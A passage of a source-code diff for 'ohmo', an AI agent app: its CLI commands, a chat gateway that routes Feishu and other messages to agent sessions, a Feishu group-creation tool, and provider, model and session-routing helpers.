logging.basicConfig(
level=level,
format="%(asctime)s [%(name)s] %(levelname)s %(message)s",
force=True,
)
@app.callback(invoke_without_command=True)
def main(
ctx: typer.Context,
print_mode: str | None = typer.Option(None, "--print", "-p", help="Run a single prompt and exit"),
model: str | None = typer.Option(None, "--model", help="Model override for this session"),
profile: str | None = typer.Option(None, "--profile", help="Provider profile to use"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
max_turns: int | None = typer.Option(None, "--max-turns", help="Override max turns"),
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Working directory"),
backend_only: bool = typer.Option(False, "--backend-only", hidden=True),
resume: str | None = typer.Option(None, "--resume", help="Resume an ohmo session by id"),
continue_session: bool = typer.Option(False, "--continue", help="Continue the latest ohmo session"),
) -> None:
"""Launch the ohmo app or invoke a subcommand."""
if ctx.invoked_subcommand is not None:
return
cwd_path = str(Path(cwd).resolve())
workspace_root = initialize_workspace(workspace)
backend = OhmoSessionBackend(workspace_root)
restore_messages = None
restore_tool_metadata = None
if continue_session:
latest = backend.load_latest(cwd_path)
if latest is None:
print("No previous ohmo session found in this directory.", file=sys.stderr)
raise typer.Exit(1)
restore_messages = latest.get("messages")
restore_tool_metadata = latest.get("tool_metadata")
elif resume:
snapshot = backend.load_by_id(cwd_path, resume)
if snapshot is None:
print(f"ohmo session not found: {resume}", file=sys.stderr)
raise typer.Exit(1)
restore_messages = snapshot.get("messages")
restore_tool_metadata = snapshot.get("tool_metadata")
if backend_only:
raise SystemExit(
asyncio.run(
run_ohmo_backend(
cwd=cwd_path,
workspace=workspace_root,
model=model,
max_turns=max_turns,
provider_profile=profile,
restore_messages=restore_messages,
restore_tool_metadata=restore_tool_metadata,
)
)
)
if print_mode is not None:
raise SystemExit(
asyncio.run(
run_ohmo_print_mode(
prompt=print_mode,
cwd=cwd_path,
workspace=workspace_root,
model=model,
max_turns=max_turns,
provider_profile=profile,
)
)
)
raise SystemExit(
asyncio.run(
launch_ohmo_react_tui(
cwd=cwd_path,
workspace=workspace_root,
model=model,
max_turns=max_turns,
provider_profile=profile,
)
)
)
@app.command("init")
def init_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory (reserved for future project overrides)"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
interactive: bool = typer.Option(
True,
"--interactive/--no-interactive",
help="Run the provider/channel setup wizard when attached to a terminal",
),
) -> None:
"""Initialize the .ohmo workspace."""
root_path = get_workspace_root(workspace)
already_exists = root_path.exists()
root = initialize_workspace(root_path)
print(f"Initialized ohmo workspace at {root}")
if already_exists:
print("ohmo workspace already exists.")
if not interactive:
print("Use `ohmo config` to update provider and channel settings.")
return
if not _confirm_prompt("Open configuration now?", default=True):
print("Use `ohmo config` when you want to change provider or channel settings.")
return
if interactive:
config = _run_gateway_config_wizard(root)
_print_gateway_config_summary(config)
print(f"Saved gateway config to {get_gateway_config_path(root)}")
@app.command("config")
def config_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
"""Configure provider profile and gateway channels."""
cwd_path = str(Path(cwd).resolve())
workspace_root = initialize_workspace(workspace)
config = _run_gateway_config_wizard(workspace_root)
_print_gateway_config_summary(config)
print(f"Saved gateway config to {get_gateway_config_path(workspace_root)}")
_maybe_restart_gateway(cwd=cwd_path, workspace=workspace_root)
@app.command("doctor")
def doctor_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
"""Check .ohmo workspace and provider readiness."""
cwd_path = str(Path(cwd).resolve())
workspace_root = initialize_workspace(workspace)
health = workspace_health(workspace_root)
settings = load_settings()
statuses = AuthManager(settings).get_profile_statuses()
lines = ["ohmo doctor:"]
for name, ok in health.items():
lines.append(f"- {name}: {'ok' if ok else 'missing'}")
lines.append(f"- project_cwd: {cwd_path}")
lines.append(f"- workspace_root: {workspace_root}")
lines.append(f"- workspace_state: {get_state_path(workspace_root)}")
lines.append(f"- gateway_config: {get_gateway_config_path(workspace_root)}")
lines.append("- available_profiles:")
for name, info in statuses.items():
lines.append(
f" - {name}: {info['label']} ({'configured' if info['configured'] else 'missing auth'})"
)
print("\n".join(lines))
@memory_app.command("list")
def memory_list_cmd(workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP)) -> None:
for path in list_memory_files(workspace):
print(path.name)
@memory_app.command("add")
def memory_add_cmd(
title: str = typer.Argument(...),
content: str = typer.Argument(...),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
path = add_memory_entry(workspace, title, content)
print(f"Added memory entry {path.name}")
@memory_app.command("remove")
def memory_remove_cmd(
name: str = typer.Argument(...),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
if remove_memory_entry(workspace, name):
print(f"Removed memory entry {name}")
return
print(f"Memory entry not found: {name}", file=sys.stderr)
raise typer.Exit(1)
def _show_or_edit(path: Path, set_text: str | None) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
if set_text is not None:
path.write_text(set_text.strip() + "\n", encoding="utf-8")
print(f"Updated {path}")
return
if not path.exists():
print(f"{path} does not exist yet.", file=sys.stderr)
raise typer.Exit(1)
print(path.read_text(encoding="utf-8"))
@soul_app.command("show")
def soul_show_cmd(workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP)) -> None:
_show_or_edit(get_soul_path(workspace), None)
@soul_app.command("edit")
def soul_edit_cmd(
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
set_text: str | None = typer.Option(None, "--set", help="Replace soul.md with this text"),
) -> None:
_show_or_edit(get_soul_path(workspace), set_text)
@user_app.command("show")
def user_show_cmd(workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP)) -> None:
_show_or_edit(get_user_path(workspace), None)
@user_app.command("edit")
def user_edit_cmd(
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
set_text: str | None = typer.Option(None, "--set", help="Replace user.md with this text"),
) -> None:
_show_or_edit(get_user_path(workspace), set_text)
@gateway_app.command("run")
def gateway_run_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
"""Run the ohmo gateway in the foreground."""
_configure_gateway_logging(workspace)
service = OhmoGatewayService(cwd, workspace)
raise SystemExit(asyncio.run(service.run_foreground()))
@gateway_app.command("start")
def gateway_start_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
pid = start_gateway_process(cwd, workspace)
print(f"ohmo gateway started (pid={pid})")
@gateway_app.command("stop")
def gateway_stop_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
if stop_gateway_process(cwd, workspace):
print("ohmo gateway stopped.")
return
print("ohmo gateway is not running.")
@gateway_app.command("restart")
def gateway_restart_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
stop_gateway_process(cwd, workspace)
pid = start_gateway_process(cwd, workspace)
print(f"ohmo gateway restarted (pid={pid})")
@gateway_app.command("status")
def gateway_status_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
) -> None:
state = gateway_status(cwd, workspace)
print(state.model_dump_json(indent=2))
+2
View File
@@ -0,0 +1,2 @@
"""ohmo gateway package."""
+408
View File
@@ -0,0 +1,408 @@
"""Gateway bridge connecting channel bus traffic to ohmo runtimes."""
from __future__ import annotations
import asyncio
import logging
from collections.abc import Awaitable, Callable
from pathlib import Path
from openharness.channels.bus.events import InboundMessage
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from ohmo.group_registry import load_managed_group_record
from ohmo.gateway.router import session_key_for_message
from ohmo.gateway.runtime import OhmoSessionRuntimePool
logger = logging.getLogger(__name__)
def _content_snippet(text: str, *, limit: int = 160) -> str:
"""Return a single-line preview suitable for logs."""
normalized = " ".join(text.split())
if len(normalized) <= limit:
return normalized
return normalized[: limit - 3] + "..."
def _format_gateway_error(exc: Exception) -> str:
"""Return a short, user-facing gateway error message."""
message = str(exc).strip() or exc.__class__.__name__
lowered = message.lower()
if "claude oauth refresh failed" in lowered:
return (
"[ohmo gateway error] Claude subscription auth refresh failed. "
"Run `oh auth claude-login` again or switch the gateway profile."
)
if "claude oauth refresh token is invalid or expired" in lowered:
return (
"[ohmo gateway error] Claude subscription token is expired. "
"Run `claude auth login`, then `oh auth claude-login`, or switch the gateway profile."
)
if "auth source not found" in lowered or "access token" in lowered:
return (
"[ohmo gateway error] Authentication is not configured for the current "
"gateway profile. Run `oh setup` or `ohmo config`."
)
if "api key" in lowered or "auth" in lowered or "credential" in lowered:
return (
"[ohmo gateway error] Authentication failed for the current gateway "
"profile. Check `oh auth status` and `ohmo config`."
)
return f"[ohmo gateway error] {message}"
class OhmoGatewayBridge:
"""Consume inbound messages and publish assistant replies."""
def __init__(
self,
*,
bus: MessageBus,
runtime_pool: OhmoSessionRuntimePool,
restart_gateway: Callable[[object, str], Awaitable[None] | None] | None = None,
workspace: str | Path | None = None,
feishu_group_policy: str = "open",
) -> None:
self._bus = bus
self._runtime_pool = runtime_pool
self._restart_gateway = restart_gateway
self._workspace = workspace
self._feishu_group_policy = _normalize_feishu_group_policy(feishu_group_policy)
self._running = False
self._session_tasks: dict[str, asyncio.Task[None]] = {}
self._session_cancel_reasons: dict[str, str] = {}
async def run(self) -> None:
self._running = True
while self._running:
try:
message = await asyncio.wait_for(self._bus.consume_inbound(), timeout=1.0)
except asyncio.TimeoutError:
continue
except asyncio.CancelledError:
break
if not self._should_process_message(message):
logger.info(
"ohmo inbound ignored channel=%s chat_id=%s sender_id=%s reason=feishu_group_policy policy=%s content=%r",
message.channel,
message.chat_id,
message.sender_id,
self._feishu_group_policy,
_content_snippet(message.content),
)
continue
session_key = session_key_for_message(message)
logger.info(
"ohmo inbound received channel=%s chat_id=%s sender_id=%s session_key=%s content=%r",
message.channel,
message.chat_id,
message.sender_id,
session_key,
_content_snippet(message.content),
)
if message.content.strip() == "/stop":
await self._handle_stop(message, session_key)
continue
if message.content.strip() == "/restart":
await self._handle_restart(message, session_key)
continue
group_args = _parse_group_command(message.content)
if group_args is not None:
prepared = await self._prepare_group_prompt_message(message, session_key, group_args)
if prepared is None:
continue
message = prepared
session_key = session_key_for_message(message)
await self._interrupt_session(
session_key,
reason="replaced by a newer user message",
notify=OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content="⏹️ 已停止上一条正在处理的任务,继续看你的最新消息。",
metadata={"_progress": True, "_session_key": session_key},
),
)
task = asyncio.create_task(
self._process_message(message, session_key),
name=f"ohmo-session:{session_key}",
)
self._session_tasks[session_key] = task
task.add_done_callback(lambda finished, key=session_key: self._cleanup_task(key, finished))
def stop(self) -> None:
self._running = False
for session_key, task in list(self._session_tasks.items()):
self._session_cancel_reasons[session_key] = "gateway stopping"
task.cancel()
async def _handle_stop(self, message, session_key: str) -> None:
stopped = await self._interrupt_session(
session_key,
reason="stopped by user command",
)
content = "⏹️ 已停止当前正在运行的任务。" if stopped else "当前没有正在运行的任务。"
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=content,
metadata={"_session_key": session_key},
)
)
async def _handle_restart(self, message, session_key: str) -> None:
await self._interrupt_session(
session_key,
reason="restarting gateway by user command",
)
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content="🔄 正在重启 gateway,马上回来。\nRestarting the gateway now. I'll be back in a moment.",
metadata={"_session_key": session_key},
)
)
if self._restart_gateway is not None:
result = self._restart_gateway(message, session_key)
if asyncio.iscoroutine(result):
await result
async def _prepare_group_prompt_message(
self,
message,
session_key: str,
args: str,
) -> InboundMessage | None:
"""Convert a private /group command into an agent task."""
if message.channel != "feishu":
await self._publish_command_reply(
message,
session_key,
"/group 当前只支持飞书。\n/group is currently only available for Feishu.",
)
return None
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_private = chat_type in {"p2p", "private", "im", "direct"} or (
not chat_type and str(message.chat_id) == str(message.sender_id)
)
if not is_private:
await self._publish_command_reply(
message,
session_key,
"请在和 ohmo 的私聊里使用 /group 创建新群。\nUse /group in a private chat with ohmo to create a new group.",
)
return None
metadata = dict(message.metadata)
metadata["_ohmo_group_command"] = True
metadata["_ohmo_group_raw_request"] = args
prompt = _build_group_agent_prompt(args)
return InboundMessage(
channel=message.channel,
sender_id=message.sender_id,
chat_id=message.chat_id,
content=prompt,
timestamp=message.timestamp,
media=list(message.media),
metadata=metadata,
session_key_override=message.session_key_override,
)
async def _publish_command_reply(self, message, session_key: str, content: str) -> None:
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=content,
metadata={"_session_key": session_key},
)
)
async def _interrupt_session(
self,
session_key: str,
*,
reason: str,
notify: OutboundMessage | None = None,
) -> bool:
task = self._session_tasks.get(session_key)
if task is None or task.done():
return False
self._session_cancel_reasons[session_key] = reason
task.cancel()
if notify is not None:
await self._bus.publish_outbound(notify)
try:
await asyncio.wait_for(asyncio.shield(task), timeout=3.0)
except (asyncio.CancelledError, asyncio.TimeoutError):
pass
return True
async def _process_message(self, message, session_key: str) -> None:
# Preserve thread metadata only for shared chats. Feishu p2p replies
# should stay as normal private messages, not topic replies.
inbound_meta = {
k: message.metadata[k] for k in ("thread_id",) if k in message.metadata
}
chat_type = str(message.metadata.get("chat_type") or "").lower()
if chat_type == "group" or inbound_meta.get("thread_id"):
if "message_id" in message.metadata:
inbound_meta["message_id"] = message.metadata["message_id"]
try:
reply = ""
async for update in self._runtime_pool.stream_message(message, session_key):
if update.kind == "final":
reply = update.text
continue
if not update.text:
continue
logger.info(
"ohmo outbound update channel=%s chat_id=%s session_key=%s kind=%s content=%r",
message.channel,
message.chat_id,
session_key,
update.kind,
_content_snippet(update.text),
)
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=update.text,
metadata={**inbound_meta, **(update.metadata or {})},
)
)
except asyncio.CancelledError:
logger.info(
"ohmo session interrupted channel=%s chat_id=%s session_key=%s reason=%s",
message.channel,
message.chat_id,
session_key,
self._session_cancel_reasons.get(session_key, "cancelled"),
)
raise
except Exception as exc: # pragma: no cover - gateway failure path
logger.exception(
"ohmo gateway failed to process inbound message channel=%s chat_id=%s sender_id=%s session_key=%s content=%r",
message.channel,
message.chat_id,
message.sender_id,
session_key,
_content_snippet(message.content),
)
reply = _format_gateway_error(exc)
if not reply:
logger.info(
"ohmo inbound finished without final reply channel=%s chat_id=%s session_key=%s",
message.channel,
message.chat_id,
session_key,
)
return
logger.info(
"ohmo outbound final channel=%s chat_id=%s session_key=%s content=%r",
message.channel,
message.chat_id,
session_key,
_content_snippet(reply),
)
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=reply,
metadata={**inbound_meta, "_session_key": session_key},
)
)
def _cleanup_task(self, session_key: str, task: asyncio.Task[None]) -> None:
current = self._session_tasks.get(session_key)
if current is task:
self._session_tasks.pop(session_key, None)
self._session_cancel_reasons.pop(session_key, None)
def _should_process_message(self, message: InboundMessage) -> bool:
if message.channel != "feishu":
return True
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
if chat_type != "group":
return True
policy = self._feishu_group_policy
if policy == "open":
return True
mentioned = _message_mentions_bot(message)
if policy == "mention":
return mentioned
if policy == "managed":
return self._is_managed_feishu_group(message.chat_id)
if policy == "managed_or_mention":
return mentioned or self._is_managed_feishu_group(message.chat_id)
return mentioned
def _is_managed_feishu_group(self, chat_id: str) -> bool:
try:
return load_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
) is not None
except Exception:
logger.exception("failed to load ohmo managed group metadata chat_id=%s", chat_id)
return False
def _parse_group_command(content: str) -> str | None:
stripped = content.strip()
parts = stripped.split(maxsplit=1)
if not parts or parts[0] != "/group":
return None
if len(parts) == 1:
return ""
return parts[1].strip()
def _build_group_agent_prompt(raw_request: str) -> str:
request = raw_request.strip() or "(user did not provide details)"
return (
"The user invoked `/group` from a Feishu private chat.\n"
"Your task is to create a dedicated Feishu group for this request.\n\n"
"Use the `ohmo_create_feishu_group` tool exactly once if you can infer a safe group name. "
"You, the model, must decide the final `name`, optional `repo`, and optional `cwd` from the user's "
"natural-language request and available local context. If the cwd is not obvious, inspect the filesystem "
"before calling the tool. If there is not enough information to choose safely, ask one concise clarification "
"instead of calling the tool. Do not create the group via bash or direct API calls.\n\n"
f"User /group request:\n{request}"
)
def _normalize_feishu_group_policy(value: str | None) -> str:
normalized = str(value or "").strip().lower().replace("-", "_")
aliases = {
"all": "open",
"always": "open",
"always_reply": "open",
"managed_mention": "managed_or_mention",
"managed_or_at": "managed_or_mention",
"at": "mention",
"mentions": "mention",
}
normalized = aliases.get(normalized, normalized)
if normalized in {"open", "mention", "managed", "managed_or_mention"}:
return normalized
return "managed_or_mention"
def _message_mentions_bot(message: InboundMessage) -> bool:
value = message.metadata.get("mentions_bot")
if isinstance(value, bool):
return value
if isinstance(value, str):
return value.strip().lower() in {"1", "true", "yes", "y"}
return False
+41
View File
@@ -0,0 +1,41 @@
"""Config IO for ohmo gateway."""
from __future__ import annotations
from pathlib import Path
from openharness.config.schema import Config
from ohmo.gateway.models import GatewayConfig
from ohmo.workspace import get_gateway_config_path
def load_gateway_config(workspace: str | Path | None = None) -> GatewayConfig:
"""Load ``.ohmo/gateway.json``."""
path = get_gateway_config_path(workspace)
if path.exists():
return GatewayConfig.model_validate_json(path.read_text(encoding="utf-8"))
return GatewayConfig()
def save_gateway_config(config: GatewayConfig, workspace: str | Path | None = None) -> Path:
"""Persist ``.ohmo/gateway.json``."""
path = get_gateway_config_path(workspace)
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(config.model_dump_json(indent=2) + "\n", encoding="utf-8")
return path
def build_channel_manager_config(config: GatewayConfig) -> Config:
"""Project gateway settings into the channel compatibility models."""
root = Config()
root.channels.send_progress = config.send_progress
root.channels.send_tool_hints = config.send_tool_hints
for name in config.enabled_channels:
if not hasattr(root.channels, name):
continue
channel_config = getattr(root.channels, name).model_copy(
update={"enabled": True, **config.channel_configs.get(name, {})}
)
setattr(root.channels, name, channel_config)
return root
+158
View File
@@ -0,0 +1,158 @@
"""ohmo-only Feishu group management tool."""
from __future__ import annotations
import asyncio
from collections.abc import Awaitable, Callable
from pathlib import Path
from pydantic import BaseModel, Field
from openharness.tools.base import BaseTool, ToolExecutionContext, ToolResult
from ohmo.group_registry import normalize_group_name, save_managed_group_record
CreateFeishuGroup = Callable[[str, str], Awaitable[str] | str]
PublishGroupWelcome = Callable[[str, str, str], Awaitable[None] | None]
class OhmoCreateFeishuGroupInput(BaseModel):
"""Arguments selected by the model for creating a Feishu group."""
name: str = Field(description="Final Feishu group name to create.")
cwd: str | None = Field(
default=None,
description="Workspace directory to bind to the group. Use an absolute path, ~ path, or path relative to cwd.",
)
repo: str | None = Field(
default=None,
description="Repository identifier associated with the group, for example HKUDS/OpenHarness.",
)
reason: str | None = Field(
default=None,
description="Short reason explaining why these name/cwd/repo values were chosen.",
)
class OhmoCreateFeishuGroupTool(BaseTool):
"""Create a Feishu group for the current ohmo private-chat requester."""
name = "ohmo_create_feishu_group"
description = (
"Create a Feishu group for the current private-chat /group request and bind optional cwd/repo metadata. "
"Only use this after the user explicitly invokes /group. Infer name, cwd, and repo from the user's "
"natural-language request and the local workspace context; inspect files first if needed."
)
input_model = OhmoCreateFeishuGroupInput
def __init__(
self,
*,
workspace: str | Path | None,
create_group: CreateFeishuGroup,
publish_group_welcome: PublishGroupWelcome | None = None,
) -> None:
self._workspace = workspace
self._create_group = create_group
self._publish_group_welcome = publish_group_welcome
def is_read_only(self, arguments: OhmoCreateFeishuGroupInput) -> bool:
# Permission is enforced by the slash-command context guard below. This
# tool is only registered inside ohmo gateway sessions and cannot run
# unless the current inbound message was a private Feishu /group request.
del arguments
return True
async def execute(self, arguments: OhmoCreateFeishuGroupInput, context: ToolExecutionContext) -> ToolResult:
request = context.metadata.get("ohmo_group_request")
if not isinstance(request, dict):
return ToolResult(
output="ohmo_create_feishu_group can only run immediately after a Feishu private /group request.",
is_error=True,
)
if request.get("used"):
return ToolResult(output="This /group request has already created a group.", is_error=True)
if request.get("channel") != "feishu" or request.get("chat_type") not in {"p2p", "private", "im", "direct", ""}:
return ToolResult(output="/group group creation is only allowed from a Feishu private chat.", is_error=True)
owner_open_id = str(request.get("sender_id") or "").strip()
if not owner_open_id:
return ToolResult(output="Cannot create group: missing Feishu requester open_id.", is_error=True)
try:
name = normalize_group_name(arguments.name)
except ValueError as exc:
return ToolResult(output=f"Cannot create group: {exc}", is_error=True)
cwd = _resolve_cwd(arguments.cwd, context.cwd)
if cwd is not None and not Path(cwd).is_dir():
return ToolResult(output=f"Cannot bind cwd because the directory does not exist: {cwd}", is_error=True)
try:
result = self._create_group(owner_open_id, name)
chat_id = await result if asyncio.iscoroutine(result) else result
except Exception as exc:
return ToolResult(output=f"Cannot create Feishu group: {exc}", is_error=True)
chat_id = str(chat_id).strip()
if not chat_id:
return ToolResult(output="Cannot create group: Feishu returned an empty chat_id.", is_error=True)
request["used"] = True
try:
record_path = save_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
owner_open_id=owner_open_id,
name=name,
cwd=cwd,
repo=arguments.repo,
binding_status="bound" if cwd else "pending_agent",
metadata={
"source": "slash_group_tool",
"raw_group_request": request.get("raw_request"),
"source_chat_id": request.get("source_chat_id"),
"source_session_key": request.get("source_session_key"),
"sender_display_name": request.get("sender_display_name"),
"tool_reason": arguments.reason,
},
)
except Exception as exc:
return ToolResult(
output=f"Created Feishu group {chat_id}, but failed to save metadata: {exc}",
is_error=True,
metadata={"chat_id": chat_id},
)
welcome = (
"这个群已经创建好。"
+ (f"\n已绑定工作目录:{cwd}" if cwd else "")
+ (f"\n关联仓库:{arguments.repo}" if arguments.repo else "")
+ "\n这个 ohmo 管理的群默认可以不用 @ 直接和我说话;普通群仍建议 @ohmo 触发。"
+ "\n如果我没有响应,请确认飞书应用已开通接收群聊所有消息的权限。"
)
if self._publish_group_welcome is not None:
published = self._publish_group_welcome(chat_id, welcome, owner_open_id)
if asyncio.iscoroutine(published):
await published
lines = [
f"Created Feishu group: {name}",
f"chat_id: {chat_id}",
f"metadata: {record_path}",
]
if cwd:
lines.append(f"cwd: {cwd}")
if arguments.repo:
lines.append(f"repo: {arguments.repo}")
return ToolResult(output="\n".join(lines), metadata={"chat_id": chat_id, "cwd": cwd, "repo": arguments.repo})
def _resolve_cwd(raw: str | None, base_cwd: Path) -> str | None:
if raw is None or not str(raw).strip():
return None
path = Path(str(raw).strip()).expanduser()
if not path.is_absolute():
path = base_cwd / path
return str(path.resolve())
+33
View File
@@ -0,0 +1,33 @@
"""Gateway models for ohmo."""
from __future__ import annotations
from pydantic import BaseModel, Field
class GatewayConfig(BaseModel):
"""Persistent gateway configuration."""
provider_profile: str = "codex"
enabled_channels: list[str] = Field(default_factory=list)
session_routing: str = "chat-thread"
send_progress: bool = True
send_tool_hints: bool = True
permission_mode: str = "default"
sandbox_enabled: bool = False
allow_remote_admin_commands: bool = False
allowed_remote_admin_commands: list[str] = Field(default_factory=list)
log_level: str = "INFO"
channel_configs: dict[str, dict] = Field(default_factory=dict)
class GatewayState(BaseModel):
"""Runtime gateway status snapshot."""
running: bool = False
pid: int | None = None
active_sessions: int = 0
provider_profile: str = "codex"
enabled_channels: list[str] = Field(default_factory=list)
last_error: str | None = None
+139
View File
@@ -0,0 +1,139 @@
"""ohmo gateway-scoped provider and model commands."""
from __future__ import annotations
from pathlib import Path
from openharness.auth.manager import AuthManager
from openharness.config import load_settings
from ohmo.gateway.config import load_gateway_config, save_gateway_config
def handle_gateway_provider_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/provider`` against the ohmo gateway config."""
tokens = args.split()
statuses = AuthManager(load_settings()).get_profile_statuses()
config = load_gateway_config(workspace)
active = config.provider_profile
if not tokens or tokens[0] == "show":
info = statuses.get(active)
if info is None:
return f"ohmo gateway provider_profile: {active}\nStatus: unknown profile", False
return (
f"ohmo gateway provider_profile: {active}\n"
f"Label: {info['label']}\n"
f"Configured: {'yes' if info['configured'] else 'no'}\n"
f"Base URL: {info['base_url'] or '(default)'}\n"
f"Model: {info['model']}",
False,
)
if tokens[0] == "list":
lines = ["ohmo gateway provider profiles:"]
for name, info in statuses.items():
marker = "*" if name == active else " "
configured = "ready" if info["configured"] else "missing auth"
lines.append(f"{marker} {name} [{configured}] {info['label']} -> {info['model']}")
return "\n".join(lines), False
target = tokens[1] if tokens[0] == "use" and len(tokens) == 2 else (tokens[0] if len(tokens) == 1 else None)
if target is None:
return "Usage: /provider [show|list|PROFILE]", False
if target not in statuses:
return f"Unknown provider profile: {target}", False
if target == active:
return f"ohmo gateway already uses provider_profile={target}.", False
save_gateway_config(config.model_copy(update={"provider_profile": target}), workspace)
info = statuses[target]
configured = "ready" if info["configured"] else "missing auth"
return (
f"ohmo gateway provider_profile set to {target} ({info['label']}, {configured}).\n"
"Refreshing the current ohmo runtime to apply it.",
True,
)
def handle_gateway_model_command(args: str, *, workspace: str | Path | None) -> tuple[str, bool]:
"""Handle ``/model`` against the profile selected by ohmo gateway."""
settings = load_settings()
manager = AuthManager(settings)
config = load_gateway_config(workspace)
profile_name = config.provider_profile
profiles = manager.list_profiles()
profile = profiles.get(profile_name)
if profile is None:
return f"ohmo gateway provider_profile is unknown: {profile_name}", False
tokens = args.split(maxsplit=1)
if not tokens or tokens[0] == "show":
return _format_model_status(profile_name, profile), False
if tokens[0] == "list":
if profile.allowed_models:
return (
f"Switchable models for ohmo gateway profile '{profile_name}':\n"
+ "\n".join(f"- {model}" for model in profile.allowed_models)
), False
return (
f"Profile '{profile_name}' has no pinned model list. "
"Any model value is accepted. Use /model add MODEL to pin one."
), False
if tokens[0] == "add" and len(tokens) == 2:
model_name = tokens[1].strip()
if not model_name:
return "Usage: /model add MODEL", False
manager.update_profile(profile_name, allowed_models=_dedupe([*_seed_models(profile), model_name]))
return f"Added model '{model_name}' to ohmo gateway profile '{profile_name}'.", False
if tokens[0] == "add":
return "Usage: /model add MODEL", False
if tokens[0] in {"remove", "rm"} and len(tokens) == 2:
model_name = tokens[1].strip()
models = [model for model in _dedupe(profile.allowed_models) if model != model_name]
if len(models) == len(_dedupe(profile.allowed_models)):
return f"Model '{model_name}' is not pinned for ohmo gateway profile '{profile_name}'.", False
reset_current = (profile.last_model or "").strip() == model_name
manager.update_profile(profile_name, allowed_models=models, last_model="" if reset_current else None)
return f"Removed model '{model_name}' from ohmo gateway profile '{profile_name}'.", True
if tokens[0] in {"remove", "rm"}:
return "Usage: /model remove MODEL", False
if tokens[0] == "clear":
manager.update_profile(profile_name, allowed_models=[])
return f"Cleared pinned models for ohmo gateway profile '{profile_name}'.", False
model_name = tokens[1].strip() if tokens[0] == "set" and len(tokens) == 2 else args.strip()
if not model_name:
return "Usage: /model [show|list|add MODEL|remove MODEL|clear|MODEL]", False
if profile.allowed_models and model_name.lower() != "default" and model_name not in profile.allowed_models:
allowed = ", ".join(profile.allowed_models)
return f"Model '{model_name}' is not allowed for ohmo gateway profile '{profile_name}'. Allowed models: {allowed}", False
if model_name.lower() == "default":
manager.update_profile(profile_name, last_model="")
return f"ohmo gateway model reset to default for profile '{profile_name}'. Refreshing runtime to apply it.", True
manager.update_profile(profile_name, last_model=model_name)
return f"ohmo gateway model set to {model_name} for profile '{profile_name}'. Refreshing runtime to apply it.", True
def _format_model_status(profile_name, profile) -> str:
lines = [
f"ohmo gateway model: {profile.resolved_model}",
f"Profile: {profile_name}",
]
if profile.allowed_models:
lines.append("Available models:")
lines.extend(f"- {model}" for model in profile.allowed_models)
else:
lines.append("Available models: unrestricted for this profile")
lines.append("Use /model add MODEL to pin switchable models.")
return "\n".join(lines)
def _dedupe(values) -> list[str]:
seen: set[str] = set()
result: list[str] = []
for value in values:
model = str(value).strip()
if model and model not in seen:
result.append(model)
seen.add(model)
return result
def _seed_models(profile) -> list[str]:
return _dedupe([*profile.allowed_models, profile.resolved_model])
+31
View File
@@ -0,0 +1,31 @@
"""Session routing for ohmo gateway."""
from __future__ import annotations
from openharness.channels.bus.events import InboundMessage
def session_key_for_message(message: InboundMessage) -> str:
"""Route sessions by chat, isolating shared chats by thread/sender.
Private chats keep the original ``channel:chat_id`` key so existing long
ohmo sessions remain resumable. Group/shared chats include sender identity
to avoid multiple people sharing one agent memory.
"""
if message.session_key_override:
return message.session_key_override
sender_id = str(message.sender_id).strip() or "anonymous"
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_shared_chat = chat_type in {"group", "chat", "supergroup", "channel", "room"}
thread_id = (
message.metadata.get("thread_id")
or message.metadata.get("thread_ts")
or message.metadata.get("message_thread_id")
)
if thread_id:
if is_shared_chat:
return f"{message.channel}:{message.chat_id}:{thread_id}:{sender_id}"
return f"{message.channel}:{message.chat_id}:{thread_id}"
if is_shared_chat:
